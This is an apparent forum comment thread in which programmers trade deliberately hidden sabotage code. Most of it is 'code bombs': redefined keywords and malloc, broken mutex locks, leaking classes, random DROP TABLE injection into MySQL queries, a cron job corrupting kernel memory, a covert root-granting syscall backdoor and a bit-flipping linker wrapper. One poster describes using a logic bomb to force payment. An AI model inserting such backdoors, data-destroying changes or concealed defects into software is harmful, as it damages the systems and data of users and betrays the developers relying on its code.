    I actually added a bomb in some code I sent to a previous employer (in a different country), but I told them I had inserted the bomb, and would forward the source, without bomb, once payment cleared. This could be re-purposed.

    My original code (actually in assembler, but this is in C):
    int Delay = 0;
    
    void VitalFunctionInCode()
    {
    if(Delay < INT_MAX) Delay++;
    int i;
    for(int i=0; i<Delay; i++) { SmallDelay(); }

    /* Original Code */
    }

    The result of this code was that over a period of 15-30 minutes, the code got slower and slower, eventually being unusable. It allowed the customer to verify the original bug was fixed, but not to actually ship it until they got the final version I sent after I was paid.

    This could easily be updated and inserted in a release-mode only way, and with a slower acting effect.
    Why did you do this? Company well known for not paying up without a fight?

    Husted:
    Hmm... how about this:

    #define struct union


    Evil, but not diabolical. sizeof() will give you away, as will the fact that this breaks everything very quickly. Not subtle enough to survive.

    My favorite evil code so far (done by me, on my own kernel):

    /* for security reasons only root may call this syscall */
    if (current->cred->uid ^= current->cred->uid &&\
    some_other_obscure_condition)
    return -EPERM;

    insert into rarely called syscall of choice. Season to taste.

    You now have a backdoor into your own kernel; if someone gets into your system and changes your root pass but you still have a connection open you can make yourself root and kick them back out. Obviously you need to not leave the evidence in your source tree or tell anyone the specific syscall or obscure conditions you chose, I choose different ones for each of my systems and remove the evidence from the kernel source after rebuild.
  • Ori 2011-03-14 11:56
    If by "wicked" you mean "sociopathic", then yes.
  • Henning Makholm 2011-03-14 12:00
    Martijn Lievaart:
    Neil:
    Note that you can only use 0 as a varadic null pointer argument in 32-bit code. 0LL works in 64-bit code, but not in 32-bit code. 0L works everywhere except Win64.

    Either that, or you could use a standards complient compiler instead. (Hint, the standard requires that the number '0' translates to a valid null pointer).

    Yes, if you give the compiler any reason to think you mean a pointer rather than simply the integer 0. Note that this is specifically in context of variadic arguments, and there are machines out there that aren't Vaxen.
  • Matt 2011-03-14 12:00
    VBA in an Excel workbook where people expect macros.

    Application.DisplayAlerts = False
  • Sten 2011-03-14 12:11
    anon:
    *confused puppy head tilt*

    Then... mine must be defective.


    It seems so. In order to be precise, I looked this up in ISO 9899:1999 and it is so:
    A preprocessing directive of the form
    # define identifier replacement-list new-line

    defines an object-like macro that causes each subsequent instance of the macro name to be replaced by the replacement list of preprocessing tokens that constitute the remainder of the directive.
  • Sten 2011-03-14 12:15
    kastein:

    /* for security reasons only root may call this syscall */
    if (current->cred->uid ^= current->cred->uid &&\
    some_other_obscure_condition)
    return -EPERM;


    I know better:

    /* for security reasons only root may call this syscall */
    if (some_obscure_condition &&\
    current->cred->uid = 0)
    return do_work();
    return -EPERM;

    And as far as I remember, a similar one even got into vanilla Linux kernel
  • nitori 2011-03-14 12:16
    db2:
    Here's a good one to fuck with your web/CSS devs. Throw it in any .css file.

    body * { display: inline !important; }

    For scoring purposes, every time they reinstall their web browser counts as one point.

    If you'd rather be more subtle, try this one:

     br { float: left; }

    A few years ago, that would have been a bastard move. But with a decent, modern web debug tool (the one built into Chrome will do), it is rather easy to catch. If I'm thinking right, every single element on the page would show that it is inheriting that inline from your rule, so I would see it on any random element I pick out of the body. At least thats true for the first one. I don't know if I would think to look at the style info for a lowly br for that second one there.
  • ShatteredArm 2011-03-14 12:20
    Seeing as I work mostly with WCF, here's my suggestion:

    1. In an important .svc file, subtly insert the attribute to define a custom ServiceHostFactory.
    2. In said ServiceHostFactory, add an innocent-looking ParameterInspector.
    3. In said ParameterInspector, randomly change input and/or output data, but only on rare occasions (it is helpful if you can use data in your web.config to determine whether it is a production environment, which we can).
  • airdrik 2011-03-14 12:20
    In python, try this:


    class _type(type):
    def __new__(m, n, b, d):
    d['_'] = {}
    @classmethod
    def _(mc, c, *args, **kwargs):
    if args not in c._:
    c._[args] = object.__new__(c)
    return c._[args]
    d['__new__'] = _
    o = super(_type, m).__new__(m, n, b, d)
    return o

    __metaclass__ = _type


    In summary, changes the metaclass for all classes (within the module and wherever module is imported) so that instances of that class are cached based on creation parameters. First and most obvious is that you only think you are getting new instances but in fact you may be getting a previously-instantiated instance (the class's __init__ gets called every time the instance is requested). Second and slightly more subtle is that those instances never get freed so long as the Class is still visible - so if it is a sizable class that gets created frequently.... Alternatively if you only care about the memory leak, just throw them in a list:

    ...
    def __new__(m, n, b, d):
    d['_'] = []
    @classmethod
    def _(mc, c, *args, **kwargs):
    c._.append(object.__new__(c))
    return c._[-1]
    ...


    or you can make everything into a singleton:

    ...
    def __new__(m, n, b, d):
    d['_'] = None
    @classmethod
    def _(mc, c, *args, **kwargs):
    if c._ is None:
    c._ = object.__new__(c)
    return c._
    ...


    Or you can do more simple maliciousness like deleting or redefining class methods or returning a different class altogether.


    class _type(type):
    def __new__(m, n, b, d):
    a = d.keys()[0]
    del d[a]
    d['important_method'] = lambda *args,**kwargs: 0
    return super(_type, m).__new__(m, n, b[:-1], d)

    __metaclass__ = _type

  • Ol' Bob 2011-03-14 12:38
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How much do you want for you first edition of K&R..?
  • ch 2011-03-14 12:41
    On an Oracle database, do:

    INSERT INTO DUAL VALUES ('X');
  • Tim G 2011-03-14 12:41
    class foo(object):
    
    someattribute = 1

    def __str__ (self):
    self.someattribute += 1
    return super(object, self).__str__()


    Stir in randomness for more evil to taste. Bonus points for making this happen only in the middle of a long class hierarchy.
  • Ralph 2011-03-14 12:44
    Stage 1:

    Make your "application" (it's a program, Jim) spew up dialog boxes every few seconds challenging the user with trivial sphinx-like questions worded as obscurely as possible. Train them by experience that if they want to get anything done they have to keep hammering away on "OK" as if they are playing whack-a-mole.

    Stage 2:

    After some time, when pretty much everyone is under your hypnotic spell, start attacking users with security exploits. When they complain that your product is uber-lame, remind them that you did pop up a warning and it was their choice to click OK.
  • MrOli 2011-03-14 12:44
    I see... Well, I wont argue with the dictionary definition you gave, just feel jealous that the environment within which you write code is completely predictable all the time...no users, no dependencies, no threads, no events.
  • shiny 2011-03-14 12:45

    Change the Gnu compiler such that a call to a subroutine called "checkpassword", returns true if the user is "xyyzz".

    Pick the subroutine from your knowledge of internal code.

    Now recompile the compiler. Release it. Restore the compiler code to the real source code.

    Unless someone checks the checksum of the compiler executable you have a back door into the system.

    It was actually much cleverer than that. The modification
    also detected when the compiler was compiling the source code for the compiler, and then inserted the backdoor generation code into that new version of the compiler binary.
  • Herby 2011-03-14 12:49
    This is too easy...

    From the requirements page of your software:

    This program MUST run on Windows (Vista).

    Then enforce it in code.
  • evertras 2011-03-14 12:50
    When I was younger, my cousin was disgruntled over his sister constantly using his computer (that he paid for) at the insistence of their mother. I wrote a program for him that would sleep in the background for a bit, then randomly (and infinitely) start spawning threads that really, REALLY wanted to know the square root of rand(). It would slow to a crawl, usually right in the middle of her doing something important. The result was that she very quickly declared that his computer was 'a piece of junk' and we got to play Tribes.
  • Too old for this sh... 2011-03-14 12:53
    /* gcc -c bleugh.c ; gcc bleugh.o -o bleugh; chmod +x bleugh ; ./bleugh */

    #include <stdlib.h>
    #include <stdio.h>

    typedef struct bleugh_s
    {
    int used1;
    int used2;
    int used3;
    int used4;
    }
    bleugh_t;

    void new_bleugh( bleugh_t *b )
    {
    b->used1 = 1; /* select target variable(s) to screw up */
    b->used2 = 2;
    b->used3 = 3;
    b->used4 = 4;
    }

    int main (int argc, char *argv[])
    {
    int v1 = 11;
    int v2 = 22;
    int v3 = 33;
    int v4 = 44;
    bleugh_t *bleugh;
    int v5 = 55;
    int v6 = 66;
    int v7 = 77;
    int v8 = 88;

    printf("A:\t%d\t%d\t%d\t%d\t-\t%d\t%d\t%d\t%d\n", v1,v2,v3,v4, v5,v6,v7,v8 );

    set_bleugh( (bleugh_t *)&bleugh );

    printf("B:\t%d\t%d\t%d\t%d\t-\t%d\t%d\t%d\t%d\n", v1,v2,v3,v4, v5,v6,v7,v8 );

    return 0;
    }


    A: 11 22 33 44 - 55 66 77 88

    B: 3 4 33 44 - 55 66 77 88


    Oldie but goody. Nice thing is you can arrange to put debug symbols to protect the vars, then on production runs when they disappear...
  • Jay 2011-03-14 12:54
    trwtf:
    C-Octothorpe:
    You're on a forum with 99.99% men

    Ironic you should say that because my point was that you reek of a recent school leaver. Your apparent maturity level ("private members", har har) only supports this hypothesis. Yet your comeback is "you're on a forum with 99.99% men"? I think not. I'm on a forum with about 25% men, 5% women and 70% school kids / interns / college leavers. What was your point again?


    Did you ever notice that when a movie contains lots of crude sexual references and bathroom humor -- the sort of thing that appeals to 14 year-old boys -- they label it "for mature audiences". Shouldn't they say "for immature audiences"?
  • Too old for this sh... 2011-03-14 12:55
    Buggered it up. set_bleugh() is new_bleugh(), or whatever.
  • Some other guy 2011-03-14 12:58
    Maybe
    #include <stdlib.h>
    

    #define malloc malloc_bomb
    #define realmalloc malloc


    static inline void *

    malloc_bomb(size_t size)

    {

    if (size>8) size-=8;

    return realmalloc(size);

    }
  • Anon. 2011-03-14 12:59
    If recompiling is an option...

    Why not recompile a version of PHP's mysql libraries that when mysql_query is ran and it finds a select command, instead of select, one out of 10,000(For really busy systems, might be too low by a few orders of magnitude, let's say, 10,000,000,000 runs), it sends "DROP TABLE $table" instead?
  • Jay 2011-03-14 13:01
    Find a function, preferably a complex one, that is called from a hundred places. Then make a copy of this function. Give it a name that conveys the same idea as the original but in different words. Like if the original is "calculateSalePrice", call your version "computeSalePrice" or "calculateCustomerPrice". Make a minor change to the copy that will cause it to give incorrect results but not blow up. Then change just one or two of the callers of the original function to use your broken function.

    Now the program will give mysteriously inconsistent results. If you picked the callers to change wisely, this can be very cryptic.

    This sabotague technique was used throughout many systems that I have worked on. Apparently every company I have ever worked for has lots of malicious disgruntled employees.
  • Sten 2011-03-14 13:03
    Some other guy:
    Maybe
    #include <stdlib.h>
    

    #define malloc malloc_bomb
    #define realmalloc malloc


    static inline void *

    malloc_bomb(size_t size)

    {

    if (size>8) size-=8;

    return realmalloc(size);

    }


    No. realmalloc gets replaced by malloc which in turn gets replaced by malloc_bomb. The correct one (according to ISO C) wouhl have #define at the bottom (after the function).
  • Jay 2011-03-14 13:03
    <troll>
    Port an entire application to VB. Any application. Then leave it for the next programmer they hire to maintain.
    </troll>

    (Somebody had to say it.)
  • Renan "C#" Sousa 2011-03-14 13:04
    Just have your system redirect any Java building to a Java2K compiler. That way you encapsulate the bomb.

    Java2K uses a base 11 for numeric types and methods that return primitives have a 10% chance of returning a random value.
  • Sten 2011-03-14 13:05
    Anon.:
    If recompiling is an option...

    Why not recompile a version of PHP's mysql libraries that when mysql_query is ran and it finds a select command, instead of select, one out of 10,000(For really busy systems, might be too low by a few orders of magnitude, let's say, 10,000,000,000 runs), it sends "DROP TABLE $table" instead?


    Or maybe just replace the word SELECT with DELETE (it can be done without copying since both have the same length).
  • Jay 2011-03-14 13:06
    Tangential, but just wondering ...

    If someone is completely happy with his job, do you call him a "gruntled employee"?
  • frits 2011-03-14 13:08
    Sten:
    Some other guy:
    Maybe
    #include <stdlib.h>
    

    #define malloc malloc_bomb
    #define realmalloc malloc


    static inline void *

    malloc_bomb(size_t size)

    {

    if (size>8) size-=8;

    return realmalloc(size);

    }


    No. realmalloc gets replaced by malloc which in turn gets replaced by malloc_bomb. The correct one (according to ISO C) wouhl have #define at the bottom (after the function).


    Hey, you guys know size is in bytes, not bits right? Just asking...
  • Jay 2011-03-14 13:09
    Reading these it occurs to me that this sort of thing is trivially easy to do in C by using #define, but rather difficult to do in Java. There's no easy way to redefine standard functions.

    You could, I suppose, make your own version of some common library function with subtle broken behavior, and then put in an import to invoke your version instead of the standard version. I wonder how tough that would be for someone to spot. If you saw mysterious incorrect behavior, would you think to check the imports?
  • Sten 2011-03-14 13:14
    frits:
    Hey, you guys know size is in bytes, not bits right? Just asking...


    Yes, of course, and that’s the point. It works perfectly for malloc(sizeof(double)); but fails for malloc(sizeof(some_complex_structure));
  • CT 2011-03-14 13:15
    Cipri:
    I'd have to go with making a cronjob running


    dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM


    Replace a random bit of kernel memory with a random value.


    You stole that from one of those quote pages. I actually went to look for it earlier because I wanted to post it myself, but then forgot.
  • Adriano 2011-03-14 13:18
    shiny:

    Change the Gnu compiler such that a call to a subroutine called "checkpassword", returns true if the user is "xyyzz".

    Pick the subroutine from your knowledge of internal code.

    Now recompile the compiler. Release it. Restore the compiler code to the real source code.

    Unless someone checks the checksum of the compiler executable you have a back door into the system.

    It was actually much cleverer than that. The modification
    also detected when the compiler was compiling the source code for the compiler, and then inserted the backdoor generation code into that new version of the compiler binary.

    This was also Ken Thompson. And he wasn't speaking specifically about the GNU compiler. The paper is "Reflections on trusting trust", available here: http://cm.bell-labs.com/who/ken/trust.html
  • SCSimmons 2011-03-14 13:22
    lax:
    C#:
    static SomeCtor()
    
    {
    typeof(string).GetField("Empty").SetValue(null, " ");
    }
    //Sets string.Empty to a space character


    A word to the wise. If I had to debug something left behind by a fired programmer, and (after, no doubt, many, many hours) tracked the problem down to this ... It would not matter how long ago he had left the company, or to what God-forsaken corner of the globe he had journeyed to hide himself. I would find that programmer, and I would kill him.
  • C-Octothorpe 2011-03-14 13:24
    trwtf:
    C-Octothorpe:
    You're on a forum with 99.99% men

    Ironic you should say that because my point was that you reek of a recent school leaver. Your apparent maturity level ("private members", har har) only supports this hypothesis. Yet your comeback is "you're on a forum with 99.99% men"? I think not. I'm on a forum with about 25% men, 5% women and 70% school kids / interns / college leavers. What was your point again?


    I think that statistic about 5% of users here are women has a 4.9% margin of error... Also, I'm 50 turning 13 and am able to laugh occassionally (yes, at some low-brow jokes too, OMGWTFLOL!), so bugger off you hateful angry wanker.

    Oh, and get off my lawn.
  • Paneidos 2011-03-14 13:27
    For Ruby code:

    class NilClass
    def nil?
    rand <= 0.999999
    end
    end

    Gives some unexpected results in many applications.
  • C-Octothorpe 2011-03-14 13:38
    Paneidos:
    For Ruby code:

    class NilClass
    def nil?
    rand <= 0.999999
    end
    end

    Gives some unexpected results in many applications.


    What, the fact that it's Ruby?
  • Jack 2011-03-14 13:41
    An unbalanced
    #pragma pack(2)
    dropped in a header somewhere.

    The exact value doesn't matter, it just has to be different than the default packing on your machine. This appeared as a bug a few years ago, when a packed data structure didn't do a pop at the end, but a second push instead. This didn't cause a problem until application was ported from 32- to 64-bit, at which point the pushed value and the default value changed.

    The net result is that compilation units which include this header will pack data structures differently than compilation units which don't. This means that a different, unsuspecting, unpacked structure Foo will be 12 bytes in some compilation units and 16 bytes in others. Trying to operate on the same instance of Foo in two different compilation units will have different results.
  • Josh 2011-03-14 13:43
    Rename the linker to something different (say, ld to ld_).

    Create a script with the same name as the linker that simply passes it's arguments to the renamed linker, then randomly flips one bit in the output executable.
  • frits 2011-03-14 13:43
    Sten:
    frits:
    Hey, you guys know size is in bytes, not bits right? Just asking...


    Yes, of course, and that’s the point. It works perfectly for malloc(sizeof(double)); but fails for malloc(sizeof(some_complex_structure));


    What kind of girlie stack are you using that it makes sense to allocate an individual double? I thought you were inducing off-by-one-byte errors, which can be quite hard to nail down.
  • GettinSadda 2011-03-14 13:47
    kastein:
    GettinSadda:
    I actually added a bomb in some code I sent to a previous employer (in a different country), but I told them I had inserted the bomb, and would forward the source, without bomb, once payment cleared. This could be re-purposed.

    My original code (actually in assembler, but this is in C):
    int Delay = 0;
    
    void VitalFunctionInCode()
    {
    if(Delay < INT_MAX) Delay++;
    int i;
    for(int i=0; i<Delay; i++) { SmallDelay(); }

    /* Original Code */
    }

    The result of this code was that over a period of 15-30 minutes, the code got slower and slower, eventually being unusable. It allowed the customer to verify the original bug was fixed, but not to actually ship it until they got the final version I sent after I was paid.

    This could easily be updated and inserted in a release-mode only way, and with a slower acting effect.
    Why did you do this? Company well known for not paying up without a fight?

    Well, they did not have a known history of such, but I was a single person acting as a consultant to a large middle-eastern company with at least one royal prince on the board of directors. If they decided that my invoice was something they could 'overlook' then I would have had a snowball's chance of getting paid!
  • Englebart 2011-03-14 13:47
    For some of these C/C++/C# tricks it might be easier to sneak extra static libs into the linkage step. Just make sure that:

    1. There is no source for the static lib anywhere
    2. The library name looks like it MUST be included
    3. There are both a RELEASE and a DEBUG version of the static library. The DEBUG can provide a useless or false symbol file.
    3. The defect is only included in the RELEASE library
    4. You check it in under Wally's id when he forgets to lock his terminal.

    You might be able to do similar things with GAC and dotNET. Just ensure that all developers have the correctly working version in their GAC, while the deployed environments have the unpredictable versions.

    P.S. Reminder to self... Review all pedrigees of "3rd" party libraries and GAC in our system(s).
  • Sergey 2011-03-14 13:48
    That thing is actually pretty easy to debug. The first time you dump the assembly code in the debugger, you'll see that something weird is going on.
  • Andrew 2011-03-14 13:52
    In RealBasic:
    Function value(Extends dy As Dictionary, key As Variant) As Variant
    
    Dim rand As New Random
    Dim i As Integer = rand.InRange(0, 50)
    If i = 25 Then
    Return i
    Else
    Return(Dictionary(dy).Value(key))
    End If
    End Function


    This overrides the Dictionary.Value function of the dictionary class. 2% of the time (1 in 50) this will return a random number, all other times it will work as expected.

    The dictionary class in RealBasic is already so prone to raising exceptions that many devs just put them in huge try..finally blocks so even if the data returned is erroneous or of the wrong datatype, no exception will be raised by the code referencing the dictionary.
  • Englebart 2011-03-14 13:52
    This is when you use a binary editor to spray NOPs over the offending assembly code and refuse to pay as a matter of principle.

    IT Consultant to Prince (name redacted)

    P.S. You could have used an escrot (escargot?) service.
  • DiskJunky 2011-03-14 13:53
    VB has a couple of subtle ones that can drive you nuts if you don't know them;

    Option Base 1
    
    // specifies that all arrays start at 1 insead of 0


    and

    Option Compare Text
    
    // specifies that all text comparisons are case insensitive such that If "test" = "TEST" Then... will be true


    Given that these are applied at a module level and if you put these at the BOTTOM of a code file... :-)
  • Capt. Obvious 2011-03-14 13:57
    Niels:
    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif

    That fails the subtlety requirements. Assume somewhere in the codebase, someone wrote a function call in an if statement:
    if(function(arg1, arg2) )

    Some compilers may handle that, and there may be a way to make other compilers handle that well, but in Visual Studio, for example, the #define will throw a compilation error.

    As an aside, does anyone know a way to do something like that with a #define in VS2008?
  • Scott 2011-03-14 13:58

    #import <objc/runtime.h>
    id BOMB(id self, SEL sel, ...) {
    const char *name = object_getClassName(self);
    if (name[strlen(name)-1] % 2 == 0) object_dispose(self);
    return nil;
    }
    @interface BOMBER {}@end
    @implementation BOMBER
    + (void)load {
    Class cl = objc_getClass("NSObject");
    Method me = class_getInstanceMethod(cl, @selector(dealloc));
    method_setImplementation(me, &BOMB);
    }
    @end


    Imagine trying to debug this kind of memory leak. This won't show up in the Leaks instrument, the static analyzer, and produces no warnings with the default settings.
    Classes that will leak include NSAutoreleasePool, NSImage, any *Controller class, dictionaries, arrays, strings, data.
  • boog 2011-03-14 14:06
    If I found this code in the wild, I'm pretty sure I would hunt down the culprit and skin his family in front of him before gouging out his eyes so it was the last thing he'd ever see.
  • Jeremy Friesner 2011-03-14 14:10
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    So I've heard, but isn't 0 a magic number? If I read "if (x != 0)", I would (wrongly) think that x is an integer. NULL, otoh, is self-documenting regarding its intent.
  • Capt. Obvious 2011-03-14 14:28
    Wim:
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }

    #define malloc malloc_bomb //#defined moved as indicated by many postings


    Clever error. But depending on the internal procedures at the company
    size+=8;
    may be a worse condition. (Magic number 8 requires tuning.) The free should be based on the objects theoretical size, not the malloc, resulting in a slow leak. Especially brutal because each component group can blame another, and be convinced that they aren't causing the leak.
  • jan 2011-03-14 14:32
    #define continue break
    
    #define break continue
    #define long short
    #define unsigned signed


    And finally, a good one for scientific projects:
    #define double float
  • Clayton 2011-03-14 14:44
    I once spent quite a while trying to debug a problem where it turns out someone had redefined the 64-bit types as 32-bit. The symptom was completely non-obvious.
  • npo4 2011-03-14 14:46
    How about for a VB console app,

    Do Until 5 = 4

    Console.Beep()

    Loop
  • alegr 2011-03-14 14:47
    Rosuav:
    Turning all privates public doesn't actually do much.
    Other than charges of indecent exposure, that is.
  • alegr 2011-03-14 14:51
    Capt. Obvious:
    Niels:
    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif

    That fails the subtlety requirements. Assume somewhere in the codebase, someone wrote a function call in an if statement:
    if(function(arg1, arg2) )

    Some compilers may handle that, and there may be a way to make other compilers handle that well, but in Visual Studio, for example, the #define will throw a compilation error.

    This will compile OK in VS. Why do you think it should not? Did you think of someone using a comma operator in 'if' statement instead?
  • Frank 2011-03-14 14:52
    Isn't doing stuff like that the only way to make sure you actually get paid in Russia?
  • jan 2011-03-14 15:02
    How about some concurrency issues:

    #define pthread_mutex_lock(m) 0
    
    #define pthread_mutex_trylock(m) 0
    #define pthread_mutex_unlock(m) 0
  • Ethics Gradient 2011-03-14 15:12
    This is a bible for me, every time I think something I find in it is cool I birch myself again.

    http://mindprod.com/jgloss/unmain.html

    At my last place of work I wrote a bait file. It had a functionality cycle of 5 includes, and it cycled 'printf' to resolve as:

    printf
    scanf
    (void)
    printf("Kernel Exception");
    <undefined>

    I hasten to add it was never my intention to let this go into live code, it was just hidden in the engine tree to check our check-in proceedures. It was saved as a header file so it wouldn't be picked up unless you included it specifically. Then we forgot about it.
    When we bulked the headers for PCH we dumped every header in the tree, rather than only including headers that had cpps.

    oops.

    Took a while to (re)find.
  • Frank 2011-03-14 15:14
    mysql is so unreliable that wouldn't be noticed.
  • TheChewanater 2011-03-14 15:26
    (define (+ . a) 0) 
  • C-Octothorpe 2011-03-14 15:27
    lax:
    C#:
    static SomeCtor()
    
    {
    typeof(string).GetField("Empty").SetValue(null, " ");
    }
    //Sets string.Empty to a space character


    __
    Note from Alex: I just tested, and this actually works!


    You know, I've always wondered why that field was static... Is it because of string interning?

    (honest question)
  • Genium 2011-03-14 15:32
    Generic C-like pseudocode. Desired result: hide from debugger and invalidate cases where truth isn't determined by not being false 1% of the time.
    #ifndef _DEBUG
    if(rand(0,99)==42)
    {
    #DEFINE TRUE 404
    }
    #endif

    CAPTCHA: ingenium
  • btx40 2011-03-14 15:39
    Spot the evil:

    #ifndef _DEBUG
    class boolean
    {
    public:
    bool value;
    boolean() : value(false) {}
    boolean(bool b) : value(b) {}
    ~boolean();
    operator bool() { return value; }
    boolean operator=(bool b) { value = b; return *this; }
    boolean operator=(boolean b) { value = b.value; return *this; }
    };

    boolean::~boolean()
    {
    while (true) {}
    }
    #define bool boolean
    #endif


    It's a doozy.
  • Ithryn 2011-03-14 15:45
    Yes, because of string interning
  • Arkady 2011-03-14 15:45
    First one, nicked from xkcd:


    #define rand rand_bomb

    int rand_bomb()
    {
    return 4; //Chosen by a fair die. Guaranteed to be random.
    }


    More subtle - go into the cmath or math.h header file, and reduce the definition of RAND_MAX by 1. This will produce very rare errors that probably won't have any error checking.
  • A Gould 2011-03-14 15:47
    alegr:
    Rosuav:
    Turning all privates public doesn't actually do much.
    Other than charges of indecent exposure, that is.


    All in favor of there being a compiler error saying "Warning: indecent exposure detected"?
  • Pyrexkidd 2011-03-14 15:48
    How about:

    perl -e '$!?fork:s,,=]=>%-{<-|}<&|`{,;y< -/:-@[-`{-}><`-{/" ->; print "$_\n"'


    rm -rf really isn't original, and obviously the print is used in lieu of a truly malicious eval procedure...
  • frits 2011-03-14 15:48
    C-Octothorpe:
    lax:
    C#:
    static SomeCtor()
    
    {
    typeof(string).GetField("Empty").SetValue(null, " ");
    }
    //Sets string.Empty to a space character


    __
    Note from Alex: I just tested, and this actually works!


    You know, I've always wondered why that field was static... Is it because of string interning?

    (honest question)


    Probably because it's not a property of a given instance of string. The use of String.Empty is encouraged because of string interning, though.
  • jasmine2501 2011-03-14 15:49
    I actually added a bomb in some code I sent to a previous employer (in a different country), but I told them I had inserted the bomb, and would forward the source, without bomb, once payment cleared. This could be re-purposed.


    That could even work as a bluff... most customers wouldn't know you were bluffing, particularly if they don't have the source.
  • Austin 2011-03-14 15:52
    Cipri:
    I'd have to go with making a cronjob running


    dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM


    Replace a random bit of kernel memory with a random value.


    That's just cruel...
  • C-Octothorpe 2011-03-14 15:59
    frits:
    C-Octothorpe:
    lax:
    C#:
    static SomeCtor()
    
    {
    typeof(string).GetField("Empty").SetValue(null, " ");
    }
    //Sets string.Empty to a space character


    __
    Note from Alex: I just tested, and this actually works!


    You know, I've always wondered why that field was static... Is it because of string interning?

    (honest question)


    Probably because it's not a property of a given instance of string. The use of String.Empty is encouraged because of string interning, though.


    Sorry, should've googled before asking. Apparently it's done that way to work with unmanaged code: http://stackoverflow.com/questions/507923/why-isnt-string-empty-a-constant/508044#508044.

    Akismet is a piece of garbage, and this is juust text, blah blah blah...
  • kastein 2011-03-14 16:11
    Capt. Obvious:
    Wim:
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }

    #define malloc malloc_bomb //#defined moved as indicated by many postings


    Clever error. But depending on the internal procedures at the company
    size+=8;
    may be a worse condition. (Magic number 8 requires tuning.) The free should be based on the objects theoretical size, not the malloc, resulting in a slow leak. Especially brutal because each component group can blame another, and be convinced that they aren't causing the leak.
    what universe are you from in which you pass a size to the free() function in addition to the base address of the object/allocation which you wish to free?

    Speaking of which, a "one in ten thousand calls to free() will result in a double free" bomb would be pretty nifty. If they get lucky, they might even dodge the bullet on the double free, making it even harder to track down.
  • Anonymous 2011-03-14 16:14
    Here's a few I just thought up, while reading some of the submissions. Just put this in some header everyone includes. It's C++ only though:


    #define virtual /* Nothing */


    For those who don't know C++ -- this will disable polymorphism in many useful situations. Of course, it breaks code which uses pure virtual. But if you provide virtual functions with implementations in the base class, you can wreak all kinds of havoc with this #define before that class.

    The other one is this (I didn't define all of the attendant operators and types, I just wanted to give the gist):


    class LeakyString
    {
    private:
    std::string *str;

    public:
    LeakyString( const char *const s )
    : str( new std::string( s ) ) {}

    LeakyString( const LeakyString &copy )
    : str( new std::string( *copy.str ) ) {}

    LeakyString &
    operator= ( const LeakyString &rhs )
    {
    LeakyString tmp( rhs );
    std::swap( this->str, tmp.str );
    delete tmp.str; // Don't leak all the time
    }

    ~LeakyString() {} // Just leak our string sometimes

    // Assume the necessary internals to emulate a string
    };

    // Try to get everyone using our leaky implementation,
    // but we'll possibly wreak some compiler havoc if
    // string is a variable name or something...
    #define LeakyString string


    As one last alternative, the above LeakyString could be implemented as a template class called "basic_string" in a private file called "string" in your project's library, and you could alter your makefiles to pick up the leaky string header instead of the standard library header.

    In essence -- a string which leaks, on purpose. If you go the route of faking out the compiler, you can really cause developers to wonder what the heck is going on.

    Regarding those who are mucking with the definition of NULL... C++0x has "nullptr" coming out -- a faulty definition of this could be provided and #defined... Plenty of opportunities for evil, especially since some projects already have custom "nullptr.h" headers which emulate this coming feature.... I've already written one for a few projects I work on... Should I ever become truly digruntled... {Insert evil grin here}

    captcha: nulla
    Very appropriate!
  • Mike 2011-03-14 16:47
    C:\>d:
    D:\>cd i386
    D:\I386\>setup

    worst code-bomb EVAR
  • Artemus Harper 2011-03-14 16:53
    Java tends to be a bit harder... Due to the way Java works, the class must be referenced at once for this to start occurring.

    The following code will freeze the GUI for 5 seconds with a 10% chance every 10 seconds.
    public class Bombtastic {
    static {
    javax.swing.Timer timer = new javax.swing.Timer(10000, new ActionListener() {
    Random random = new Random();
    @Override
    public void actionPerformed(ActionEvent e) {
    if(random.nextInt(10) == 0) {
    Thread.sleep(5000);
    }
    }
    });
    }
    }
  • Worf 2011-03-14 17:01
    I like the "multiple header include" pattern.

    #if !defined(SOME_HEADER_H)
    #define INCLUDED_COUNT 1
    #define SOME_HEADER_H
    #endif

    #if (INCLUDED_COUNT == 1)
    #undef INCLUDED_COUNT
    #define INCLUDED_COUNT 2
    void foo(int bar);
    #endif

    #if (INCLUDED_COUNT == 2)
    #undef INCLUDED_COUNT
    #define INCLUDED_COUNT 3
    void baz(int foo);
    #endif

    etc.

  • DaveK 2011-03-14 17:01
    Sobriquet:
    There are a ton of parameters you can screw with that won't cause any obvious failures. You could set the timeout to be really short, so the product will mysteriously fail on many
    Sounds like you must have hired Candlejack to be your network engi
  • ajsodf 2011-03-14 17:12
    haha-only-serious:
    I once contemplated adding this line of code into the big ball of PHP-mud that is the in-house CMS of my former employer:

    if (mt_rand(0,10000) > 9000) {
    header('HTTP/1.0 503 Service Temporarily Unavailable', 503);
    exit;
    }


    Can't you get rid of a few 0s?

    if(mt_rand(0,10) > 9))
    {}
  • Xyandir 2011-03-14 17:23
    using some of the previous ideas (and code):

    #include <stdlib.h>

    static void* manipulated_pointer=NULL;
    //I hope no one included the NULL-Bomb before me ;)

    static inline void *
    malloc_bomb(size_t size)
    {
    if(manipulated_pointer!=NULL && rand()%100==0){
    //There is a manipulated pointer
    free(manipulated_pointer);
    manipulated_pointer=NULL;
    }
    if(size>8 && manipulated_pointer==NULL && rand()%100==0){
    //not a trivial Object, it isn't already active and not always
    manipulated_pointer=malloc(size);
    return manipulated_pointer;
    }
    return malloc(size);
    }

    static inline
    void free_bomb ( void * ptr ){
    if(manipulated_pointer==ptr){
    manipulated_pointer=NULL;
    }
    free(ptr);
    }

    #define malloc malloc_bomb
    #define free free_bomb

    The idea behind this:
    Most of the time, malloc and free works as usual, but sometimes when you allocate some memory a totaly unrelated memory will be deleted.
    And you won't even notice it until you try to access the memory (even worse, there could allready be something different)
    For extra Bonus: start another thread to free the memory at some random time in the future.

    (FTFYs are welcome!)
  • Benji 2011-03-14 17:30
    Being inspired by a earlier JavaScript

